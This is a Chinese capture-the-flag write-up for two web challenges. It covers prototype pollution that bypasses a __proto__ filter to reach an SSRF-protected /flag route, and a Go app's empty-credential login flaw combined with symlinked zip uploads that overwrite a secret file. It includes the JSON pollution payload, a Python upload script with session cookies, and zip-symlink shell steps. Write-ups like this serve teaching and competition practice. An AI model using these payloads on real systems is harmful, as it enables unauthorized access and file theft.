题目一、WebVPN
考点、原型链污染,__proto__过滤
题目描述、
开题:
app.js审计
登录的路由/user/login
app.post("/user/login", (req, res) => {
const { username, password } = req.body;
if (
typeof username != "string" ||
typeof password != "string" ||
!username ||
!password
) {
res.status(400);
res.end("invalid username or password");
return;
}
if (!userStorage[username]) {
res.status(403);
res.end("invalid username or password");
return;
}
if (userStorage[username].password !== password) {
res.status(403);
res.end("invalid username or password");
return;
}
req.session.username = username;
res.send("login success");
});
一个登录的校验,由于密码账号都给了,没有什么悬念
路由/user/info
// under development
app.post("/user/info", (req, res) => {
if (!req.session.username) {
res.sendStatus(403);
}
update(userStorage[req.session.username].info, req.body);
res.sendStatus(200);
});
有一个update函数可以更新post方法传递的req.body,往上查找update函数
function update(dst, src) {
for (key in src) {
if (key.indexOf("__") != -1) {
continue;
}
if (typeof src[key] == "object" && dst[key] !== undefined) {
update(dst[key], src[key]);
continue;
}
dst[key] = src[key];
}
}
第一个if过滤了proto,第二个if就是明显的原型链污染。
相关连接:
Node.js 原型污染攻击的分析与利用 - 先知社区
深入理解JavaScript Prototype污染攻击 - FreeBuf网络安全行业门户
路由/proxy
检验url是否为合法的url,检测是否在strategy中的域名。
var userStorage = {
username: {
password: "password",
info: {
age: 18,
},
strategy: {
"baidu.com": true,
"google.com": false,
},
},
};
在题目所给的username的信息中只有baidu.com合法
// demo service behind webvpn
app.get("/flag", (req, res) => {
if (
req.headers.host != "127.0.0.1:3000" ||
req.hostname != "127.0.0.1" ||
req.ip != "127.0.0.1"
) {
res.sendStatus(400);
return;
}
const data = fs.readFileSync("/flag");
res.send(data);
});
用get请求访问/flag,要满足ip地址,主机名均为127.0.0.1而且Host要为127.0.0.1:3000
现在就是如何让127.0.0.1:3000变成一个合法的,没错,就是用原型链污染。
在/user/info中利用原型链污染
{
"constructor": {
"prototype": {
"127.0.0.1": true
}
}
}
下图是我不断试错的结果,均是失败的
最后成功带出
题目二、Zero Link
考点、文件上传软链接,登录的逻辑漏洞
题目描述
开题:
附件
在ZeroLink\src\internal\database下记录着用户和密码
在ZeroLink\src\internal\controller\user下审计,user.go
发现他的GetUserInfo函数很奇怪
他好像只判断token和username是否在数据库中,或者是否为Admin或者0000,却没有判断是否为空,将两者都设置为空
成功读取账号密码,个人猜测是因为,数据库中第一位就是admin所以默认读取了第一位的信息
登录后是文件上传,但是前端校验是
上网查,发现这个好像linux的火狐、mac电脑上的谷歌和火狐才会解析成这样,
个人电脑上解析成
因为这个是前端校验,bp抓不到包
审计代码ZeroLink\src\internal\controller\file
发现他其实是一个软链接,可以覆盖前面上传的文件,同时他有一个函数ReadSecretFile有点类似文件读取,但是要在secret上写文件的路径,发现原来是写/fake_flag,那么我们把secret文件改成/flag读取真正的文件。
我们用python上传
import requests
def upload_zip_file(file_path, upload_url):
try:
with open(file_path, 'rb') as file:
with requests.Session() as session:
# 设置会话的 Cookie
session.cookies['session'] = "MTcwODUxMDcxMnxEWDhFQVFMX2dBQUJFQUVRQUFBbl80QUFBUVp6ZEhKcGJtY01DZ0FJZFhObGNtNWhiV1VHYzNSeWFXNW5EQWNBQlVGa2JXbHV8BTjAhJxSnL9bUmZqhBdCIPwZmoq1jmfwvFKm66qdlV0=" # 设置 session_id,替换为实际的 session_id
# 发送 POST 请求
files = {'file': ('file.zip', file, 'application/zip')}
response = session.post(upload_url, files=files)
if response.status_code == 200:
print("File uploaded successfully.")
print("Server response:", response.text)
else:
print(f"Failed to upload file. Status code: {response.status_code}")
print("Error message:", response.text)
except Exception as e:
print(f"An error occurred: {e}")
def click(url):
with requests.Session() as session:
with requests.Session() as session:
# 设置会话的 Cookie
session.cookies['session'] = "MTcwODUyMzkzNnxEWDhFQVFMX2dBQUJFQUVRQUFBbl80QUFBUVp6ZEhKcGJtY01DZ0FJZFhObGNtNWhiV1VHYzNSeWFXNW5EQWNBQlVGa2JXbHV86zgsTbR4_Gr9rYbNYRSdct6zteJTzcBVct0gz4oFDc0=" # 设置 session_id,替换为实际的 session_id
# 发送 GET 请求
response = session.get(url)
if response.status_code == 200:
print(response.text)
else:
print("erre",response.text)
if __name__ == "__main__":
file_path = './she1.zip' # 替换为要上传的 ZIP 文件的路径
upload_url = 'http://47.102.184.100:31488/api/upload' # 替换为接收上传的服务器端 URL
url='http://47.102.184.100:31488/api/unzip'
upload_zip_file(file_path,upload_url)
click(url)
kali软连接的步骤
//创建一个文件夹
mkdir app1
cd app1
//软链接
ln -s /app she
//压缩
zip --symlinks she.zip she
//删除she 软连接,创建app文件夹
rm -rf she
mkdir she
//返回上一级,因为secret处于与app1同级
mv secret app1/she
//secret的内容为/flag
//进入到app1文件夹
zip -r she1.zip ./she
//将she.zip和she1.zip拖到python脚本的同级目录
上传第一个
上传第二个
访问api/secret
题目三、VidarBox【*】
版权归原作者 ShusHu丶 所有, 如有侵权,请联系我们删除。